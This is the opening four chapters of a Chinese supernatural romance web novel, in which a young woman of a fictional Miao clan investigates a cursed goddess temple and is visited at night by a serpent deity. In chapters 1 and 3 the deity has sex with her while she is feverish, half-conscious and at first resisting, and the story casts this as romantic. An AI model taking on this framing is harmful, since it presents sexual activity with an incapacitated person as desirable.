《蛊仙娘娘》 第1章 拜娘娘,请蛇君 三千里苗域的九黎大山上,有座有求必应的娘娘庙。 传闻娘娘神庙下,镇压着一条祸世的青蛇大妖。 每年三月三,族人们都会大肆准备贡品,祭拜神娘娘…… 可今年祭拜娘娘庙,娘娘庙里的娘娘神像却突然双目溢出血泪—— 自那以后,娘娘庙里每晚都会飘出只有男子才能闻见的香甜异香。 异香勾的族内男子纷纷争相前往,而进过娘娘庙的男人,都在三日内离奇暴毙。 族里人人都知进了娘娘庙凶多吉少,但还是有无数男子对娘娘庙控制不住的心神向往。 于是,进娘娘庙的男人越来越多,死的人,也越来越多…… 他们都说族内有人犯了忌讳,才引得神娘娘震怒,降下神罚。 为了赎罪,他们日夜跪拜与娘娘神像长相相似的圣女姐姐,甚至不惜用乳汁做成贡品供养姐姐—— 但,族里依旧每天清晨鸡叫三声,准时死去一个青壮男子。 我外婆是三千里苗域唯一的鬼师。 族内每死一个人,外婆就会动用巫术绘制一张鬼符,替逝者安魂引路。 外婆年轻时曾发过誓,画完三千张鬼符就封手不干。 只因绘制鬼符乃是逆天改命之事,过多干涉他人因果,则会被天道反噬,不得善终…… 今天,是外婆最后一次用黑鹰血绘制鬼符。 鸡叫三声后,村头响起了锣鼓声。 听村里人说,今天死的是村南头姜家的老二。 外婆照例带着绘好的鬼符前去给逝者安魂引路。 临走前,外婆将一盏莲花灯交给我。 叮嘱我要将灯放在娘娘庙的供台上,等到莲花灯的烛光变成青色才能离开。 我听从外婆的吩咐,一大早天还没亮就捧着莲花灯上山进了娘娘庙。 自从娘娘庙出事后,族里人日日诚惶诚恐,来拜娘娘的女人们也日益增多。 我来得早,迈进神庙时,庙里还烛火通明。 神幡被清晨的凉风吹得来回摇晃,满殿弥漫着刺鼻的香火味。 我昂头看大殿正中端立的娘娘神像,目光落在那张熟悉的容颜上—— 大殿里的娘娘身披彩衣,手拿莲花,青丝高挽,头戴凤冠。 脚踩祥凤,慈眉善目。 面容与我那位双生姐姐有八分相似。 我心怀敬畏地将莲花灯放在娘娘脚边供桌上,随后诚恳地跪下朝娘娘神像磕了三个头。 再直起脊背,等着莲花灯烛光变色。 但我孤身在娘娘庙等了两个小时,也没见莲花灯有任何异象—— 庙里反而气温越来越低,阵阵寒意从大门外袭进来,吹得我毛骨悚然。 更怪的是,明明已经早上七点了,外面的天竟还不见亮光。 也没有人来娘娘庙烧香拜神! 偌大的娘娘庙,像是与尘世彻底隔绝了。 我坐立不安地想出去看看究竟是怎么回事,可又想起外婆早上再三嘱咐我,莲花灯的烛火没有变成青色之前,我不能迈出娘娘庙一步…… 于是我只能跪坐在娘娘神像前,耐着性子咬牙等下去。 又过了一个小时,我实在无聊得慌,就将注意力放在了娘娘庙两侧的壁画上—— 传闻娘娘庙二十二年前重建后,原本坍塌的那座神庙里的壁画,竟一夜之间于新庙墙壁上复原如初。 也是因为娘娘庙屡现神迹,所以族人们才更加确信娘娘庙有灵性,有求必应。 我慢步走到色彩鲜艳的壁画前,从头细看至尾。 墙壁上绘着大雨倾盆,青蛇祸世,娘娘庙从天而降,将青蛇压在庙底下的画面…… 壁画上的那条蛇,身躯庞大,通体披着幽光熠熠的青色鳞甲。 一双金灿灿的竖状蛇瞳,额前还长着一对鹿角。 比我之前见过的所有蛇,都要漂亮、英姿飒爽…… 外婆说过,蛇百年生鳞,万年长角,头上有角的灵蛇是半龙,算仙。 我被壁画上那条腾云驾雾的青蛇给吸引得挪不开眼,情不自禁就抬起手,想要抚摸那条大青蛇。 但指腹刚触碰到墙壁,墙面上的蛇鳞就像是突然活过来了一般。 锋利的蛇鳞一张一翕,瞬间割破了我的手指! 一滴血渗出指尖,被那片蛇鳞顷刻吞噬。 我惊叫一声缩回手,吓得心跳如雷,慌张跑回娘娘神像前! 食指上的伤口还没痊愈,可壁画上的血迹却荡然无存! 仿佛刚才发生的一切,都是我的幻觉。 我吃痛含住破皮的指腹,心底越来越不安。 而我无意低眸,才猛地发现,冰凉的地砖上,竟渗出了薄薄几层烟雾! 遍地白雾衬得整座娘娘庙像个鬼庙—— 头顶有寒风拂过,我下意识昂头,却见正前方的娘娘神像突然闭目,眼角还溢出了一滴血泪! 与此同时,供台上的莲花灯灯芯,也变成了诡异的青色…… 莲花灯变色了,我终于可以走了! 我毛骨悚然地一路狂奔出娘娘庙。 刚迈出娘娘庙的山门,外面的天就骤然亮了起来。 我来不及考虑太多,只满头冷汗地着急往家里跑—— 本以为回到家就安全了,可让我没想到的是,傍晚太阳刚下山,我就发起了高烧。 指腹的伤口处,还长出了一片幽青色的蛇鳞。 我浑浑噩噩地躺在床上,烧得意识不清。 只听外婆苍老慈爱的声音在头顶沉沉响起: “三百年之约已到,他该回来了。” “可怜的孩子,都怪外婆没本事,解不了你身上的绝命蛊。” “今天是最后一天,只能请他来帮你了。” 外婆说完,往我手里塞了张符纸…… 离开我房间后,从外锁上了我的房门。 夜半,一阵阴风吹开了窗户—— 我半梦半醒地睁开眼,却朦胧看见一名身穿青色古代衣袍,衣袖上绣着金线龙纹的银发俊美男人伏在我身上—— 金瞳熠熠,勾魂摄魄。 剑眉星目,额心一抹朱红印记,妖冶诱人…… 没给我看清他容颜的机会,他就按着我的腰,急切吻住我的唇,将我压在床上,宽衣解带—— 我不舒服地哼唧两声,反而引得他加快手上速度。 很快,我就感觉到身体一凉,肩膀裸露在外。 他生涩的吻技霸道侵蚀着我,修长玉指顺着我的腰线往下…… 我疼得闷哼一声,想要阻止。 他却一手揉捏着我的腰肢,放开我的唇,温柔附在我耳畔,软语轻哄:“乖,先放松……” 我被他撩拨得满身大汗,心神飘浮不定,不适地想要推开他。 但他却强势封住了我的唇,之后的动作愈发孟浪…… 我还想反抗,奈何身体滚烫,四肢软绵绵的。 加上心跳过快,被他折磨得神魂颠倒,根本没有力气与他抗衡。 在他怀中失了分寸的羞耻感令我委屈得想哭。 可后来,他压着我双臂,温柔深情地在我耳畔轻轻唤了一声:“阿鸾……” 第2章 勾蛇异香 他竟然知道我的名字! 金瞳银发的男人耐心哄着我:“很快就好,阿鸾……” 他一声声阿鸾唤得我莫名心弦悸动。 入耳的清澈嗓音恍若天外仙乐,勾得我不自觉就放下紧绷着的戒备心…… 下意识忍着疼,配合他。 被他彻底占为己有的那一瞬,我的脑子里似瞬间炸开了无数朵绚丽烟花。 剧烈的愉悦感抵上心头,男人滚烫的吐息染红了我的耳鬓,撩得我心尖酥痒。 “阿鸾,你身子,真软。” 再后来,他食骨知髓,扣着我的手,与我纠缠了大半夜…… 等一切结束后,我方要陷入沉睡,却突然感觉到有条粗壮冰凉的湿尾,一圈圈缠上了我的身体—— 他还来?! —— 我叫宋鸾镜。 生活在三千里苗域最深处的阴苗族,月阴村。 阴苗共有八寨十三村,月阴村便是阴苗的头寨头村。 世人只知苗疆多蛊,却不知苗分阴阳,蛊分生死。 阳苗信奉上古战神蚩尤,善用生蛊,制灵蛊可操控活人意识,常混迹于山外人群,可自由出入苗域。 而阴苗则世代居于深山之内,不与外族人接触。 阴苗信奉西王母,善用死蛊,能通鬼神,可制鬼符。 死蛊可医人,也可杀人。 我外婆是阴苗族第一千三百任大祭司,外婆年迈卸任后,祭司之位便由我母亲继承。 我刚出生就被外婆抱了过去,是跟着外婆长大的。 今年我二十二岁。 这二十年间,我与亲生母亲见面的次数屈指可数。 只因为,我还有个双生姐姐——宋花枝。 外婆这一脉世代承袭大祭司之位,且每一代的大祭司婚后都只能孕育一胎。 这一胎,无疑是女儿。 毕竟只有女儿才能女承母业,成为圣女。 长大后继任大祭司,守护整个阴苗八寨十三村。 巧的是,二十二年前,我亲生母亲那一胎,却是一胎双女。 我和姐姐出生那天正是农历三月三。 彼时还是阴苗族圣女的母亲刚在九黎山上给娘娘庙上完香就觉得腹痛不止,血流了娘娘庙满地。 村里的年轻人见状忙用担架把将要生产的母亲抬下山送回家,并请了本地有名的王稳婆去给母亲接生。 母亲从中午痛到了夜晚,明明羊水都破了,可腹中孩子就是迟迟生不下来。 急得向来对自己手艺极为自信的王稳婆举着两只血淋淋的手,在产房内外来回打转。 村里有经验的老人家们说,这是孩子在等时辰。 她们说,大祭司一脉的女婴本就非同寻常,天生就有与神明沟通的能力,小圣女肯定是想挑个吉时再出生。 更诡异的是,当天明明是个天朗气清万里无云的好天,傍晚却淅淅沥沥下起了小雨,且夜越深,雨势越猛—— 还有人亲眼看见,方圆数十里的毒蛇全都沿着母亲家墙头爬进了母亲的院子里…… 密密麻麻的扎堆守在母亲产房外,任族里人如何驱赶都不走。 那晚,光是母亲院里的毒蛇都被族人们打死了上百条。 大片蛇血将母亲院子浸得腥臭。 临近子时,母亲才从奄奄一息的状态里缓过神,叫得更凄惨。 外婆为了保母亲平安,穿着蓑衣冒雨爬上九黎山,去娘娘庙里给神娘娘烧香。 然而,令所有人都没料到的是,母亲刚开始生产,雨夜就连降九道天雷,道道直劈山上的娘娘庙房顶—— 神像落血泪,神庙顷刻轰然坍塌! 就在族人们都因娘娘庙塌了的事而惶恐不安时,姐姐出生了—— 传闻姐姐一出生,下了半夜的大暴雨就停歇了。 姐姐刚被稳婆抱出产房,夜空里就突然飞来一只金灿灿的凤凰…… 有人认出那只凤凰与神庙中娘娘神像脚下踩着那只一模一样。 于是村民们都开始怀疑,姐姐是神娘娘转世。 只是众人来不及欢喜,稳婆就发现母亲的肚子里还有一个我。 相比于姐姐出生时凤凰接引的盛大排场,我出生那会子显得平静太多。 仅有一条小青蛇偷溜进产房,盯着襁褓中的我眼放幽光。 我和姐姐虽是双生姐妹,但姐姐生下来就身体健康、四肢有力,哭闹起来嘶叫声能传三里地。 而我,却天生体弱,不爱哭叫,总是喜欢独自窝在摇篮里睡觉,成天病殃殃的。 大祭司一脉极少出现诞下双生圣女的情况。 可能是有凤凰接引的祥瑞之兆加持,母亲从我们姐妹俩一出生,就更喜欢姐姐。 母亲说,我生下来就是为夺姐姐气运的。 为了保证姐姐的圣女力量不被我分走,我满月那天,母亲把我放在门口的石磨上,去屋里拿了镰刀,准备为姐姐除掉我这个后患…… 危急关头是外婆及时出现,拦下了母亲,把我抱回了自己家。 后来这些年,我只有在族中一些盛大庆典上才能看见神情冷肃、容颜冷艳的母亲…… 以及我那位光彩夺目、娇媚可人的双生姐姐。 姐姐越长大,面容与山上娘娘庙里的娘娘神像越像…… 因此,族人们就更加笃定,姐姐是庙里神娘娘转世。 而姐姐也十分享受这种被族人们奉为神明的感觉。 为了向族人们证明自己神娘娘转世的身份,不惜在庙里起誓一生不嫁,以纯洁之身供养族内那片可保族人延年益寿的长生泉…… 她们都说姐姐和神娘娘长得像,我却觉得,姐姐不像神娘娘。 神娘娘眉眼温柔,目光慈爱。 可姐姐的眼神,会勾魂。 我每次看见,都觉得心底发怵。 两天后,姜家老二下葬之日,村里又死人了。 这次死的是沈家小儿子。 给死者安魂引路的符纸换成了李大叔画的朱砂符。 朱砂黄符被李大叔并指贴在满脸乌青、嘴唇发黑的沈三眉心。 年轻的沈三死不瞑目地躺在两条长椅支起的木板上,紫黑的脚底板前亮着一盏引魂白烛—— 李大叔拿起桌上一支红香,点燃,对着沈三的尸体闭目念了几句咒。 我头皮发麻地站在外婆身后,眼睁睁看见,沈三脚底的皮肉里,似乎有虫子在蠕动。 密密麻麻,像农忙时节稻田水坑里的吸血水蛭—— 族里会画符的只有两位,一位是我外婆,善画鬼符。 另一位就是李大叔,善画神符。 只是李大叔这人脾气古怪,轻易不愿出手。 加上从前有外婆坐镇族内,李大叔就懒得浪费自己的手艺。 咒语念完,沈三陡然闭上了瞪大的双眼。 沈家父母在沈三的尸体前哭得撕心裂肺,满屋雪白冥纸翻飞。 李大叔把香插进沈三头顶的香炉,为沈三做完安魂仪式后,趁沈家父母不注意,强行掰开沈三紧攥的右手。 然后,从沈三的手里拿出一枚…… 女孩的桃花形银发饰?! 离开沈家的路上,外婆刻意避着我,和李大叔交流族内的情况。 我老实地跟在她们身后三米开外处,只隐约听李大叔说: “上上次是缕头发,上次是片裙角,这次又是头饰,看来娘娘庙的事,不简单。” “您是不是早就看出了不对劲,才……” 说着,还怪异地扭头瞄了我一眼,眼神冰冷: “你把符,给了这孩子?办法虽好,但代价太大……我会替你照顾好她的。” 我安静地拿着一根树枝跟在外婆身后,无意抬眼,却发现路边的草丛深处,有什么东西在缓慢蠕动。 我好奇用树枝拨开草丛,竟见到两条正在交配的蛇…… 柔软的蛇身交叠缠绕在一起,正舒爽得忘乎所以—— 我面红耳赤地忙把树枝收回来,尴尬地当做什么也没看见。 但,回过头,顿时却有无数疑点浮上心头! 阴苗族与外面的阳苗族不一样,阴苗不用活物炼蛊,用死物…… 阴苗地界煞气重,加上族人们一见到毒蛇与蝎子蟾蜍这类生物,就立马会将它们打死带回家里尝试着炼制各种灵蛊仙丹。 所以即便阴苗族临山而居,部落里也极少会出现蛇类。 外婆说过,蛇类的感官很敏锐,反应很敏捷,警惕心又高…… 是不太可能见人不逃的。 可我今天不但在路边一次看见了两条蛇,这两条蛇还当着我的面交配,被我发现了也不逃! 我低头走神,李大叔却不知何时突然出现在我身边,望着草丛里的东西闷声开口: “看来那香,已经影响到附近的蛇类了,连公蛇都抵抗不住这香味的引诱。” “香?” 我恍然大悟:“李大叔说的是娘娘庙里每晚飘出的异香?听说那香只有男人才能闻得到!” 李大叔双手背后板正严肃道:“什么异香,那是妖香,见不得光的脏东西!” “脏东西?” 李大叔没有再和我细说那香的事,只是催促我赶紧跟上,提醒我现在外面不安全,一个女孩落单很容易出事。 我乖乖跟着外婆回了家,像往常一样先拿扫帚清扫院子。 但,才扫了一半,我就感觉到小腹一阵坠疼…… 忽然想起来早上起床时,我看到了床单上有血。 原以为是生理期到了,可算算时间又发觉日子根本对不上。 而且那血可以清理干净,基本能确定与生理期无关…… 更怪的是,我的腰间也莫名其妙出现了大片诡异的红紫,像是被人掐了! 这情况……难道我生病了?! 我揉揉不适的小腹,刚想坐下歇歇,谁知腿边倏然一阵冰凉。 似有一泓渗着寒气的井水,顺着我的小腿蜿蜒逆流而上—— 我好奇地皱眉,隔着轻薄裙摆按下去。 谁知,手心竟按到了一条软乎乎的长物! 腿上冰凉触感也在这一刹更加清晰,激得我瞬间全身汗毛都竖起来了。 第3章 帮她解双生蛊的男人 我慌忙撩开绣着兰花的裙琚,这才看见是条赤色毒蛇缠在我的右腿上,缓缓蠕动着蛇身,正一寸一寸艰难往我的大腿上攀! 我耳中嗡地一声,头皮酥紧。 害怕地立马徒手抓住蛇脑袋,将缠在我腿上的半米长大红蛇用力拽下来,狠狠扔摔在远处的青石地面上。 太可怕了,这些蛇现在都嚣张成这样了吗,一点也不避人! 好在我生于苗域,打小就见惯了这些毒物,会点控制毒蛇的手法。 赤蛇被我扔出去后就迅速逃出了院门,可能是怕我将它抓起来挖心掏胆炼蛊丹。 我猛喘了几口气,坐在木凳子上半晌才平复下心情。 然而,上一桩怪事刚结束,下一桩就接踵而至—— 院门口处传来了几声奇怪的动物呻吟。 我用袖子狠狠蹭了蹭毒蛇盘踞过的右腿,听见动静后就放下裙摆站起身。 壮着胆子,放轻脚步,一步一步朝门外迈去…… 出了院门,我觅声望过去。 却见到,东边的蒿草丛里,有好几只公黄鼠狼按着一条母黄鼠狼在光天化日之下轮流干那种事! 母黄鼠狼身下一滩血迹,都奄奄一息了,那些公黄鼠狼还是不愿意放过它…… 我震惊地捂住嘴,被眼前这一幕吓得心脏砰砰乱跳,躁动不安。 村子里越来越奇怪了,这种动物拼了命交配的事发生得愈发频繁了…… 直觉告诉我,这些异样,肯定都是娘娘庙的异香导致的! 我六神无主地迅速关上院门,想去找外婆问一问村子里究竟遇上什么事了。 外婆是阴苗族前任大祭司,又是族内唯一的鬼师,她肯定知道娘娘庙里到底出了什么问题! 我跑进堂屋,撩开外婆修炼的内室门帘。 一进门,就闻见一股刺鼻的篾香味。 以及一丝浓香压不住的、腐臭味…… 家里是有死老鼠了吗? 内室是外婆闭关修炼的清静地,面积不大,仅有十五六平方。 常年不见阳光,没有窗子,连门都用藏蓝色的粗麻布给遮住了,确保平时不会有一丝阳气渗进去。 屋子里只有一张供桌,一条香案,还有一只旧跪垫。 条案上摆着一座神龛,龛里似乎供着一尊牌位…… 龛上被外婆罩了一层黑纱,二十多年来,外婆从不让我触碰神龛,更不让我直视里面的东西。 供桌上摆着新鲜的水果与贡水,正中央端放着一只褐色陶土香炉,炉子里香火常年不断。 桌上两只红烛摇曳着昏暗的黄光,屋里烟雾缭绕,四下渗着不知从哪透进来的寒气,冷飕飕的…… 可能是没听见我进屋的脚步声,外婆指尖捻着檀香珠盘腿在跪垫上打坐。 轻叹一口气,自言自语: “坏了,都坏了!自作孽,不可活,淑贞啊……你真是糊涂!” 我脚步一顿,诧异昂头。 淑贞…… 是我母亲的名字! 片刻,外婆察觉到了我的存在,和蔼地招呼我一声:“镜镜,过来。” 我听话走过去。 外婆睁开苍老浑浊的眼眸,一贯的慈祥温和:“跪下。” 我啊了声,虽然不明白外婆的用意,但还是听话地在外婆身边冲着神龛跪了下去。 外婆接着说:“给这位大人磕三个头。” ‘大人’应该就是神龛里供着的那位了。 奇怪,外婆以前从不让我跟着拜它,今天怎么主动让我拜神像…… 我一头雾水,温顺照做。 给神龛磕完三个头后,外婆拉住我的手,开口说话,有气无力:“以后,这位大人就交给你来侍奉了。” 我怔了怔,没忍住地问外婆:“外婆,他……到底是谁?为什么要我侍奉他?” 外婆伸出粗糙的大手,满眼不舍地抚着我脸颊,心疼道: “他是谁,以后你就知道了。你是代外婆侍奉他的,外婆老了,供不动了。” 外婆的确岁数大了,她今年都八十岁了,听说太外婆当年也只活了六十岁。 阴苗族信奉西王母,世代追求长生之术,可阴苗族族民的平均阳寿却很短。 在母亲没有弄出长生泉之前,族里很少有老人能活到七十岁。 外婆这个岁数在族内已经算高寿了。 至于外婆的阳寿为何比普通人稍长,大概是因为外婆还有鬼师这重身份。 鬼师是阴间放在阳界的使者,能通阴阳,可预知未来,与神鬼沟通。 鬼师与大祭司不同,大祭司的身份一脉相承,鬼师命格却是随机降临在苗域某个族民身上。 苗域百年才会出一个鬼师,而传闻每每有新任鬼师出现,就意味着苗域将要面临一场大劫…… 想到这,我担心地抓住外婆手追问:“外婆,娘娘庙里到底出什么事了?外面的动物们好像都发了疯!” 外婆的手好凉,指关节也比往日僵硬很多。 可外婆一听我提起娘娘庙,顿时就变了脸色。 甩开我的手,拿起槐木拐杖站起身,冷冷道:“娘娘庙的事你别管,这几天你不许孤身出门,更不许上山!” “啊?为什么?”我不理解低喃。 外婆惆怅地转身看我,苍老的眼眸中蕴满了对我的疼爱: “孩子啊,娘娘庙的事很复杂,什么都不知道,才能无忧无虑,真相……你承受不住的。” 什么样的真相,会让我承受不住? 我心中疑团更多了。 然而不等我追问,外婆就转身面向神龛,诚恳地朝神龛弯腰礼拜: “大人,求您看在我供奉你二十多年的份上,保佑我这个孩子余生顺遂。” 听见外婆至今还满心牵挂着我,我心头一酸,默默打消了打破砂锅问到底的念头。 离开内室时,我忽然发觉…… 腐臭味好像是从外婆身上传来的! 夜里,我睡得迷迷糊糊,似在梦里又来到了娘娘庙前—— 娘娘庙内香火鼎盛,灯火通明。 可庙宇上空却萦绕着一团团粉雾。 有狐狸的叫声从庙里传出来,还有女子的舒适闷哼与婉转低吟—— 不久,女孩的笑声散进清冷夜幕里,嗓音里仿佛携着能乱人心智的魔力。 勾得人心尖又麻又痒,浑身燥热。 我浑噩躺在床上,被那笑声引得额间热汗滚烫…… 奇怪的欲火在灵魂深处点燃,我控制不住地攥紧手下床单。 指尖隔着布料掐进掌心血肉里,仍觉得那股欲望只增不减—— 不过片刻,我就浑身汗如水洗,煎熬得快要发了疯。 直到一只冰凉的大手握住我的腰肢,我才稍感好受。 透着冷意的手臂像一泓救火的清水,缠住我的腰身。 男人富有磁性的嗓音在耳畔温存回荡,如三月微寒的春风,拂开我心头待放的桃花花苞—— “双生蛊?呵,她们下手挺狠。” 骨节分明的长指扣住了我五指,男人抱着我滚进床内侧,软语轻哄:“阿鸾,乖些,睁眼,看看本尊。” 话音落,我就意识朦胧地不自觉睁开沉重眼皮—— 模糊的视线里,出现了一张俊美若天人的清隽男人容颜…… 飞扬的剑眉,神秘幽暗的青眸,凤目斜长,鼻梁高挺,薄唇微抿。 五官精致如画,美得有点不像人类…… 尤其是那双似浩浩深海,泛着粼粼青色波光,寥落星辰的眼眸,更是拥有勾魂摄魄之力,诱得人挪不开目光…… 男人眉心,还有一抹朱红流云的印记。 那印记瞧着……有些妖异。 还有几分眼熟。 衬得他原本清隽冷俊的容颜,平添了三分妖冶。 这颜值,外面的人一般称之为什么来着…… 哦对,建模脸! 男人身上穿着一袭古代墨青云纹长袍,本来就长得俊美,还一头皑皑如月华的银发…… 更让人喜欢了! 身上的烫意似乎只有在与他肌肤相亲时,才能消退一二。 我被心底那股燥热给折磨得生不如死,看清男人的长相后,索性一把抱住男人的脖子,本能地主动吻上男人的唇…… 软着嗓音,低低祈求:“难受……救我。” 男人闻言,满意勾唇。 幽冷的眼眸凝出丝丝缕缕灼热的占有欲,扼住我的双腕,压在枕边。 细碎的吻雨密密麻麻落在我的唇畔、鼻尖、额头。 欲火在心头疯狂发酵,满室弥漫着他衣袍间的清冷莲花香…… 似水的银发温柔倾泄于我肩头,他灵活的指尖在我腰侧肆意描绘、勾勒。 晓得我急切,便一把掀开我身上缀满银饰的衣裙—— 握紧我的腰杆,不疾不徐地拉我共赴沉沦。 像是早就习惯了他的存在,他冰凉的身躯贴上我燥热的心口时,我总算开始好受起来了—— 只是过程里,我总不受控地主动纠缠他。 不知为什么,今晚的我像是被某种力量强行支配着,疯狂地想要与人耳鬓厮磨,寻求解脱。 幸好,身边的人是他…… 无数次疯狂云雨后,我心底那股焦躁不安总算是逐渐消散了。 破晓时分,我疲倦地蜷在床上,困得意识不清。 半梦半醒间,隐约见到一抹颀长背影立在床头,正慢条斯理地穿着深色衣袍—— 昏暗天光透窗洒进屋,落在他肩后柔软的皑皑华发上。 银发青袍,丰神俊朗,天人之姿…… 我这是在做梦吗? 再次有意识,我是被腿间的一大片凉意给惊醒的! 刚醒过来,我的脑子还处于混沌状态。 那缕凉意差点钻进我体内。 是外婆及时出现,迅速撩开我的裙摆,将那东西掐着脑袋抓起来,厌恶地拧紧眉,冷脸丢了出去。 凉物摩擦大腿内侧的异样感觉激得我浑身一抖,瞬间脑颅清明,弹坐起身! 等看见地上那条蠕动的东西后,我更是脊上发凉,被吓得差点原地跳起来。 “啊!蛇、怎么又是蛇!” 我抓紧被子罩住自己,害怕地缩进床内侧。 外婆不耐烦地黑着脸叹气,喉中发出沙哑的气泡音。 余光扫了眼那条仓皇逃离、身上还沾染着晶莹水光的黑蛇,沉下嗓音喃喃自语:“真是个祸害!这种腌臜手段也能想出来。” 我不晓得外婆是在骂谁,没给我开口多问的机会,外婆就拄着槐木拐杖转身先走一步。 出门前又吩咐了我一句:“换好衣服后,来我屋里,我有话要和你说。” 我心慌意乱地听话点头,答了个好。 按开屋里的电灯,我下床去柜子里翻干净衣物。 换衣裳的时候才发现,我身上竟平白无故多出了好几处奇怪的红紫痕迹! 脖子、肩膀、心口、甚至腰腹…… 连腿内侧的肌肤都隐隐泛着暧昧的樱红。 难道是那条黑蛇?! 我越想越恶心,头皮发麻地用湿毛巾将自己浑身上下擦拭了好几遍才换上干净衣物。 看来这几天我得往床边多撒点雄黄粉了,避避那些发疯的毒蛇! 洗漱完,外面的天也已经慢慢亮了起来。 我去外婆屋里找她,推开房间大门,外婆正坐在罗汉床上闭目诵经。 见我过去,外婆拉开右手边的抽屉,从里面取出了一样藏蓝花布包裹着的东西。 外婆当着我的面,把蓝花布层层掀开。 不多时,我就看见蓝花布里端放着一枚造型诡异的银戒指。 戒圈是用老银打造的,戒面则是一块晶莹清透,水亮圆润的青色宝石。 只不过宝石正中出现了一条金色竖瞳…… 看着,像极了一只瘆人的蛇眼! 外婆把戒指戴在了我的右手无名指上,叮嘱道: “戴上这枚蛇瞳戒指,就不能摘下了。镜镜,你要听话,这东西关键时刻,能保你性命!” 第4章 娘娘庙里的女人 蛇瞳戒指? 我不解地盯着手上戒指,心头发毛:“外婆,你怎么突然给我这东西?这东西看起来好吓人。” “看习惯就不吓人了。” 外婆把蓝花布塞回抽屉里,拿起倚在床边的槐木拐杖拄着下床, “近来村子里不太平,有这只蛇瞳戒指在,那些蛇就不敢再冒犯你了。” 这戒指,以前我从未见外婆拿出来过,想来是件挺紧要的宝物吧。 “外婆,村子里这几天突然出现了这么多蛇,真是受娘娘庙异香的影响吗?” 我搀扶住外婆的胳膊,企图从外婆这里得到一丝线索。 外婆拍拍我的手背,状态不大好地沉声告诉我:“镜镜,娘娘庙这一劫,不是天灾,是人祸。” “人祸?”我错愕惊呼。 外婆抓住我的指尖,又从宽大袖袍里掏出一本泛黄老旧的古书,塞进我手里,严肃叮嘱: “这本书,三天后才正式属于你,你才能翻看!记住,必须要再等三天才能看,不然,你会遭报应的。” 我谨慎地把书拿好,听话点头:“知道了外婆。” 外婆依旧不肯和我多说娘娘庙的事,而自从我戴上蛇瞳戒指后,果然没有蛇再敢往我身上爬了。 家里那股子腐臭味也愈发严重,我总觉得臭味是从外婆房间里传出来的。 可每次我想进外婆房间寻找臭味的来源,都被外婆给强势撵了出来…… 外婆从前也炼过蛊丹,我以为是这几天村里毒蛇多,外婆也抓了东西回来炼蛊,就没有多想。 傍晚时分,我坐在院子门口的水泥台阶上逗村里的小野猫玩。 村南头李大叔家的银杏突然神神秘秘跑过来找我。 神色略带几分慌张的揽住裙摆坐到我身边: “镜镜,娘娘庙的事,宋婆婆有告诉你具体原因吗?” 我摇摇头:“外婆说这事不该我管,我每次问外婆,外婆都会生气。” 银杏挽住我的胳膊小声和我分享情报: “村里又出事了,听说最近两天去过娘娘庙还没死的男人,身上突然长满了血红色的狐狸毛! 我爸下午两点就被请过去看事了,到现在还没回来。 我听我家邻居阿远哥说,那两个男人今天中午像发了疯似的,变态的把自家鸡与狗,全都咬死了! 那两个人身上还贴着我爸画的符,原以为他俩能躲过这一劫,没想到那东西这么厉害!” “啊?”我听得背上一阵凉飕飕,“血红色的狐狸毛?该不会是山里的仙家吧?!” 银杏撇嘴:“我也不晓得,我爸从前只说那是脏东西,没说到底是什么。” “那,我母亲那边是怎么说的?” 母亲是族里的大祭司,娘娘庙的怪事一直都是她在查。 银杏耸耸肩: “你母亲只是下令日落之后,族内任何人不得私自上山,旁地好像也没怎么管。 倒是你那个姐姐比较浮夸,你们族的人都说你姐姐是神娘娘转世,为了祈求神娘娘保佑,早日解除族里的灾厄,那些族人每天都会换着法做贡品进献给你姐姐。 前几天是人乳做的馒头,这几天是人血做的糖糕。 你姐姐说了,上天给过她感应,说是你们族业障太重才会遭此报应,等再过七七四十九天,上苍就会收了神罚。” 我不自在地担忧道:“那岂不是族里还要死四十九个人才能结束!” 银杏嗤之以鼻: “谁知道呢!你姐姐是不是神娘娘转世还难说呢。 你们族的人仅凭她长得像娘娘神像就笃定她是神娘娘转世,也是够离谱的…… 不过,说起面容长相,我怎么觉得,你比你姐姐还像神娘娘呢?” 我当即被惊起了满身鸡皮疙瘩: “你可别吓唬我了!我只是个普通人,和庙里的娘娘才没关系呢。 你觉得我也像神娘娘,是因为我和姐姐是双生胎。 双生胎容貌相似不是很正常吗?” 银杏挽着我执着道:“不,你比你姐姐好看!你姐姐,妖里妖气的。” 我抱起小野猫放在怀里给它顺毛: “你别这么说,姐姐现在是族里的圣女,是族内最纯洁的女子。你这么形容她,当心族里人和你急眼。” 银杏傲娇哼了声: “我才不怕呢,我就是看她不顺眼,她在外人面前装得单纯善良,私下里却不止一次欺负你这个双生妹妹。 你忘记前年族里搞祭神大典,她是怎么当众羞辱你的了?还故意踩你的手! 如果不是宋婆婆及时赶到,我感觉她和大祭司都想活吞了你!” 往事被银杏重提,我本以为我不在乎了,可想起那时母亲冷漠的眼神,姐姐嘴角的揶揄,心头还是不由一阵刺痛。 “我从小不在母亲身边,她对我没有感情很正常。”我撸着小猫压下心头的酸涩。 银杏晓得她戳中我痛处了,拍拍我的后背歉意安抚:“对不起镜镜,我不是故意提这些扎你心的……” 我抱起小猫塞她怀里,轻松一笑:“没事,咱俩从小一起长大,你什么性格我能不清楚吗。” 银杏这才松口气,欣喜的抱住我:“我就知道镜镜你最好了!” 小猫从银杏怀里跳出去。 银杏缓了缓,突然道:“镜镜,你想不想,去娘娘庙看看?” “娘娘庙?”我想起外婆之前的嘱咐,强压下心底的好奇:“不了吧,外婆说最近村里不太平,不许我上山。” 银杏挎着我软磨硬泡: “哎呀镜镜,你就是太听话了,从小到大,宋婆婆不让你做什么你就不做什么,你不觉得这样很没意思吗?一点也不刺激! 而且,你不想知道,娘娘庙里到底藏着什么秘密吗?” 娘娘庙里的秘密…… 我当然想知道! 银杏接着说: “我下午午休,做梦梦见了沈家小哥哥。 他浑身血淋淋的,穿着一件白大褂子,不停和我说他死得冤,要我给他报仇。 我都快吓死了,我和他说我一个弱女孩怎么帮他向神明报仇。 可他却和我说,要我今晚去娘娘庙……去了娘娘庙,就一切都明白了。” “今晚就去娘娘庙?”我狐疑问银杏:“真是刚下葬的沈家小哥哥托梦告诉你的?” 我晓得银杏性子活泼爱开玩笑,但银杏现在的坚定眼神,又不像在诓我。 银杏重重点头,举手伸出三根手指: “我发誓,真没骗你。他还在梦中说,要我把你也带上。 他说他来找过你,但你身上有东西,他靠近不了你,所以只能去我的梦里喊我。” 我的身上有东西…… 我下意识低头看自己手指上的蛇瞳戒指。 这戒指是我今早刚戴上的…… 他下午来入我的梦,的确靠近不了我。 银杏没有说谎! 我不放心地犹豫道: “可是母亲不是下令不许族人在太阳落山后进娘娘庙吗?如果被发现,是要族规处置,受鞭刑的!” 